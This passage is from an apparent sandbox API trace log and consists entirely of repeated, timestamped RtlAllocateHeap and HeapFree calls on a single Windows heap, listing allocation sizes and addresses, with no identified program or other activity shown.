hHeap=0x5010000) returned 1 [0111.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.756] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.756] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.757] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.757] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.758] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.758] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.759] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.759] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.759] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.759] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.759] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.759] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.759] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.759] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.759] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.759] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.759] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.759] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.759] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.759] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.759] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.759] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.759] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.760] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.760] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.761] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.761] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.762] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.762] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.762] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.762] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.762] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.762] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.762] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.762] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.762] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.762] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.762] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.762] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.762] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.762] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.762] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.762] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.763] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.763] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.764] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.764] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 